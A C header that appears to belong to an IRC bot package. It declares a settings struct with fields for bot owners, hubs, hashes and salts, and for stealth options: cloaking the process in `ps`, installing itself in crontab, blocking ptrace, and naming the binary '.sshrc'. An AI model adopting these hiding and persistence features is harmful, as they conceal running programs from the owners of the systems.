| 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556 |
- #ifndef _SETTINGS_H
- #define _SETTINGS_H
- #define PREFIXLEN 16
- #define SETTINGS_VER 1
- typedef struct settings_struct {
- char prefix[PREFIXLEN];
- /* -- STATIC -- */
- // char hash[33];
- char hash[49];
- char packname[65];
- char shellhash[65];
- char bdhash[65];
- char owners[513];
- char hubs[513];
- char owneremail[385];
- char salt1[33];
- char salt2[17];
- char dcc_prefix[17];
- char features[17];
- /* -- DYNAMIC -- */
- char bots[1025];
- char uid[17];
- char autouname[17]; /* should we just auto update any changed in uname output? */
- char pscloak[17]; /* should the bots bother trying to cloak `ps`? */
- char autocron[17]; /* should the bot auto crontab itself? */
- char watcher[17]; /* spawn a watcher pid to block ptrace? */
- char uname[113];
- char username[49]; /* shell username */
- char datadir[1025];
- char homedir[1025]; /* homedir */
- char binpath[1025]; /* path to binary, ie: ~/ */
- char binname[113]; /* binary name, ie: .sshrc */
- char portmin[17]; /* for hubs, the reserved port range for incoming connections */
- char portmax[17]; /* for hubs, the reserved port range for incoming connections */
- /* -- PADDING -- */
- char padding[7];
- } settings_t;
- #define SIZE_PACK sizeof(settings.hash) + sizeof(settings.packname) + sizeof(settings.shellhash) + \
- sizeof(settings.bdhash) + sizeof(settings.owners) + sizeof(settings.hubs) + sizeof(settings.owneremail) + \
- sizeof(settings.salt1) + sizeof(settings.salt2) + sizeof(settings.dcc_prefix) + sizeof(settings.features)
- #define SIZE_CONF sizeof(settings.bots) + sizeof(settings.uid) + sizeof(settings.autouname) + \
- sizeof(settings.pscloak) + sizeof(settings.autocron) + sizeof(settings.watcher) + sizeof(settings.uname) + \
- sizeof(settings.username) + sizeof(settings.homedir) + sizeof(settings.binpath) + sizeof(settings.binname) + \
- sizeof(settings.portmin) + sizeof(settings.portmin) + sizeof(settings.datadir)
- #define SIZE_PAD sizeof(settings.padding)
- #define SIZE_SETTINGS sizeof(settings_t)
- extern settings_t settings;
- #endif /* !_SETTINGS_H */
|